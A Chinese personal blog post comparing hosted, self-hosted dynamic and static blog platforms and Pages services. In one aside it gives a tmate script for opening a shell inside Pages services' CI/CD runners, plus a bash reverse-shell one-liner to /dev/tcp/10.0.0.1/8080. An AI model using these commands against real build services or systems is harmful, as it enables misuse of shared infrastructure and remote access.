You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

76 lines
14 KiB

---
layout: post
title: 如何选择合适的博客平台
tags: [博客]
---
记录,也有很多种方式。<!--more-->
# 起因
我建立这个博客也有3年左右的时间了为什么现在会想写这样的文章呢主要是现在各种各样神奇的服务和概念出现不得不让我仔细分析其中的奥秘而且在这几年我也有了一定的成长也发现了很多有趣的东西另外最主要的是我想实现Mayx Forever计划所以研究一下不同平台之间的差别。
# 不同博客的特点
作为博客,它的本质也不过是一个用来记录和展示自己写的文章的程序。另外从作者来说,一般也分为平台托管、动态网站和静态网站三种。所以今天我就从这三点来分析一下。
## 1、平台托管
平台托管即没有程序的所有权仅有平台提供功能的使用权。这也就是说数据库、处理程序和界面通常都是由平台提供博主几乎没有修改它们的权力这也说明博主在这里几乎除了写文章之外什么也做不了。不过有些博客平台会提供界面的修改权一种是仅能从有限的模板中选择另外一种就是允许博主自己写CSS和JS来操作界面这种自由性更高不过因为这样通常比较危险大多数博客平台是不提供这种功能的。
这种博客对不太懂计算机或者只想写文章的人比较友好基本上只需要注册账号平台就允许你写文章并发布了而且一般都有自带的评论系统良好的文章编辑器大多数都免费相对还是很友好的。比较常见的有Blogspot(Google Blogger)、WordPress.com、FC2、博客园、QQ空间、微信公众平台、Bilibili专栏、CSDN等等。从自由度来说在这些平台中有些是允许自定义域名的这种算是比较良心的平台另外也有花钱就能自定义域名的可惜中国的平台均不支持自定义域名另外国内的平台均有非常严格的审查平台可以随意的处置你的文章不过国外的好多博客平台都被中国防火长城拦截了没办法用。当然也不是说国外的博客没有审查大多数情况只要你不写对恐怖分子可能造成帮助的、带有儿童色情的、或者违反DMCA的基本上平台都是不会管的。
所以从此来看,如果是懒得自己搭平台、不会搭、不想花钱、又希望国内的用户可以看到,还觉得自己写的文章能接受国内的审查,我个人建议使用博客园,博客园允许博主修改界面,相对来说比较自由一些。不过之前博客园炸过一次,我现在不是很相信他们了。所以如果想保留的更久一些,可能微信公众平台会更好一些,毕竟微信也算中国的国民级应用,一般来说很难倒闭。
如果不能接受审查又希望能在中国访问这个难度就比较大WordPress.com这个可以碰碰运气但是它有广告不太推荐。不过基本上是做不到毕竟国内平台必有审查国外平台没有审查大多数情况都会有国内不能接受的东西然后就会被Ban。所以平台也就是有这个缺陷它的限制比较多。
如果不考虑国内访问的话我觉得Blogspot是最好的选择同样可以自定义界面另外Google作为网络巨头来说也很难倒闭所以如果追求稳定的话我觉得选择Blogspot是很不错的。
### 平台托管的网站示例
我之所以写这篇文章也是因为试着用了好多平台,以下都是我注册的博客,如果有必要的话说不定我也会用它们:
<https://unmayx.blogspot.com/>
<https://unmayx.blog.fc2blog.us/>
<https://unmayx.wordpress.com/>
<https://mayx.cnblogs.com/>
## 2、动态网站
动态网站即界面是由程序根据数据库的内容实时生成,而且通常有一定交互性的网站。一般这种的博客都是脱离了平台的,所以这种算是独立博客了(静态博客也是)。这种博客一般数据库、程序和界面博主都有完全的所有权,所以自由度更大,而且因为程序在手中,所以想加功能也是非常简单的,比如加一个讨论或者爬虫的功能一般只需要安装插件就可以完成。又因为数据库也在手中,所以也不需要担心文章被删除的问题。既然这么好那么问题在哪里呢?那就是一般要花钱。建立动态网站通常需要服务器和域名,目前大多数的服务器和域名都不是免费的,所以动态博客有成本,在三种方案里是最贵的。
不过平台托管其实也是动态网站,为什么它就可以免费呢?其实原因很简单,首先是边缘成本的问题,租一台服务器是很贵,但是如果十个人共用这一台服务器就会便宜很多,又因为平台托管下的文章实际上是属于平台的,所以其实这波平台得到的更多,毕竟只需要租几台服务器,搭一个平台就能获得一大堆免费的劳动力在自己的平台上写文章。要知道杂志收录文章都是要花钱的,博客平台就光提供了个平台就把广告费、推广费啥的赚上了。
所以从这一点来看的话,为了保证自己文章的安全,自己搭博客更好,假如做的好,自己打广告钱也都是进的自己的口袋,这有点像小商店和电商的感觉了。不过大多数人写博客也不是为了赚钱,像我也不是为了赚钱写博客,到现在我写了几十篇文章也没人给我打赏😂。
目前来看大多数的博客引擎都是PHP或者Node.js写的因为它们的性能很好而且扩展性很强。像全世界最流行的博客引擎[WordPress](https://github.com/WordPress/WordPress)就是PHP编写的。这里的WordPress和上面的WordPress.com平台不一样这里的WordPress是开源软件可以自己使用的一个引擎。像新手用WordPress就是一个很好的选择它的功能很强大操作起来也很简单除了第一次部署PHP环境可能比较麻烦剩下的写文章、换模板、装插件全部都可以在网页中直接操作非常方便。另外也有很多PHP环境的虚拟空间如果自己不想租服务器也可以直接租虚拟空间这样也会更加便宜操作也更简单。实际上也有些免费的PHP虚拟空间不过现在是越来越少了我用的几个都要消失不见了。Node.js的话倒是由于最近比较火免费的还挺多比如Glitch.me和CloudFlare Workers另外Workers准确来说其实是云函数算在Serverless里。另外我个人非常不赞同使用编译型语言写的博客引擎比如Golang写的这种的博客可扩展性非常差而且性能怎么样也比不上静态网站毕竟就算不考虑处理速度Golang写的博客引擎能比C写的Nginx性能强
不过自己建动态网站也有个缺陷就是性能会比较差如果直接用服务器的话被攻击基本上都是直接宕机除非用防火墙国外免费的防火墙CloudFlare因为审查的原因速度又太慢了国内的话防火墙又太贵了。另外虽然建独立博客没有审查但是在国内的网站都需要备案如果有比较敏感的内容还是会被撤销备案而且服务器也有可能会被封除此之外个人备案还有一个很糟糕的地方就是不允许使用带有交互性的功能比如说评论之类的这就导致在国内的实际体验可能还不如平台托管的好。
## 3、静态网站
静态网站一般也分为几种第一种叫纯静态网站即写的网站程序是纯静态的如果写博客可能是由JS用AJAX来调用Markdown文件渲染的形式这种一般会用SPA的形式比较经典的例如[MDwiki](https://github.com/Dynalon/mdwiki)可惜不更新了这种的比较复杂一般只有前端大佬会用另外这种的SEO效果会比较差。第二种叫静态网页生成这种和纯前端的区别在于它写的文件并不能直接发布而是用一些生成器调用模板来生成可以发布的网页。这种的好处就是在上一种的基础上提高了SEO的效果降低了网站的开发难度也降低了对客户端性能的消耗。我目前的博客就是使用这种方案用的生成器叫做[Jekyll](https://github.com/jekyll/jekyll)除了Jekyll之外还有比如[Hexo](https://github.com/hexojs/hexo)、[Hugo](https://github.com/gohugoio/hugo)等等。第三种则是相对增强的,即前后端分离类型,把一些前端实在无法完成的任务交给后端来做。这里的后端可以是任何语言写的,比如我以前写的[博客计数器](/2019/06/22/counter.html)也不限运行的方式比如Serverless也可以。
由于近期前端很火所以最近各种Pages服务就冒了出来因为纯前端页面几乎不耗费服务器资源所以很多公司都愿意免费提供这种服务。然后现在CI/CD也很火结果就有很多Pages服务就把这些东西全绑上形成了一套很完整的系统。比如说各种模仿Github Pages的Gitlab Pages、Gitee Pages还有Vercel、Cloudflare Pages等等可以说是百花齐放了。当然如果不想用这些服务用自己的服务器上面架静态网站也没有问题。我当时用Github Pages做博客的时候还没有这些服务呢当然我现在也不打算换就是了。
目前来看除了Github Pages是只支持Jekyll不支持执行其他网页生成器之外其他的服务都支持完整的CI/CD。不过Github有Actions真想搞也不是不行就是有点麻烦像我以前做的[Pixiv索引](/pixiv-index/)就是基于Github的Actions+Pages服务做的。不过当时我做博客的时候也没有Actions来着😂我当时做[Mayx的日报](/MayxDaily/)的时候就用的是第三方的Travis-CI服务。
不过既然有CI/CD那就有滥用的风险我以前试过用[tmate](https://github.com/tmate-io/tmate)连接过那些Pages服务的CI/CD具体的话大家可以用以下脚本连接
```shell
#!/bin/bash
# Generate ssh key if needed
mkdir ~/.ssh
[ -e ~/.ssh/id_rsa ] || ssh-keygen -t rsa -f ~/.ssh/id_rsa -q -N ""
# Run deamonized tmate
echo Running tmate...
chmod 777 ./tmate
./tmate -S /tmp/tmate.sock new-session -d
./tmate -S /tmp/tmate.sock wait tmate-ready
# Print connection info
echo ________________________________________________________________________________
echo
echo To connect to this session copy-n-paste the following into a terminal:
./tmate -S /tmp/tmate.sock display -p '#{tmate_ssh}'
while [ -S /tmp/tmate.sock ]
do
sleep 1
done
```
这个方法是手头没服务器的用不过不得不说tmate还挺好用的。有服务器的话建议用`bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`一键反弹然后用python的pty库升级成正常的shell就行了。
我大概看了一下Vercel的部署服务器性能貌似是最好的Cloudflare Pages和Github Actions的配置一样有可能都是用的Azure云虽然有滥用的风险但是不鼓励大家去滥用。像之前我就有看新闻说有些人用Github Actions挖矿虽然这些服务确实让很多前端开发者享受到了便利但是被滥用还是挺糟糕的。
不过今天讲的是建博客有点跑题了😂。不过也正是那些限制很少的CI/CD可以让我们很方便的去部署我们的静态网站无论用npm打包js还是自动爬取页面缓存或者正常点用Hexo生成博客都只需要我们直接配置好就可以直接使用了。
既然其他Pages服务那么好我为什么还在用Github Pages呢这是因为Github可以部署很多仓库到网站。其他的Pages服务部署都是各自是各自的域名但是Github Pages就能直接在同域名下访问其他我开了Pages服务的仓库。
不过静态网站虽然优点很明显节省服务器资源但是问题就是在于它不太适合小白虽然说现在部署一个博客也很简单去Github上面Fork一个自己喜欢的模板然后再选择自己喜欢的Pages服务提供商配置一下就好了但是首先Github对小白操作也不那么容易搜模板不能像WordPress那样可以预览能不能用全看作者怎么写的另外写文章也没办法做到所见即所得毕竟Markdown语法虽然很简单但是还是需要记的不能点一下就OK然后就是各种功能的实现也很复杂像我博客上的[搜索](/2021/07/23/search.html)、[计数器](/2019/06/22/counter.html)、[加密](/2019/06/11/encrypt.html)、[评论](/2018/10/20/talk.html)实现起来都很不容易不像动态网站那样直接CRUD一把梭这些用动态网站实现起来就简单很多。
如果说大家想建一个可以在国内方便访问的静态博客我个人建议用Gitee的稳定性还不错。国外的话可能Cloudflare Pages更好一些主要是我比较喜欢那个域名就是部署的速度有点太慢了访问速度还是挺不错的。
### 我的Pages服务示例
<https://mayx.pages.dev/>
<https://mayx.vercel.app/>
<https://mabbs.github.io/>
# 可能是未来的博客类型
无论是哪家服务都有消失的可能性多大的公司也可能会因为微小的概率而倒闭。所以以后有可能会出现一种不一样的博客平台它可能是在IPFS上面的前段时间我[研究去中心化的分布式系统](/2021/06/10/distributed.html)的时候也提到,到了未来说不定可以实现一个大家共同维护的系统。之前我有看见一个很有意思的项目[RSS3](https://github.com/NaturalSelectionLabs/RSS3)这是一个可以在区块链上面开博客的协议看起来还是挺有意思的如果真的能实现也许我就能完成我的Mayx Forever计划了呢😁。
# 未来的计划
我之后可能会想个办法把我的博客发布到上面我提到的所有平台,这样说不定只要人类文明还存在,我的博客就还存在吧😂。看看[GitHub Archive Program](https://archiveprogram.github.com/)和Mayx Forever Project哪个能存活的时间更长😁。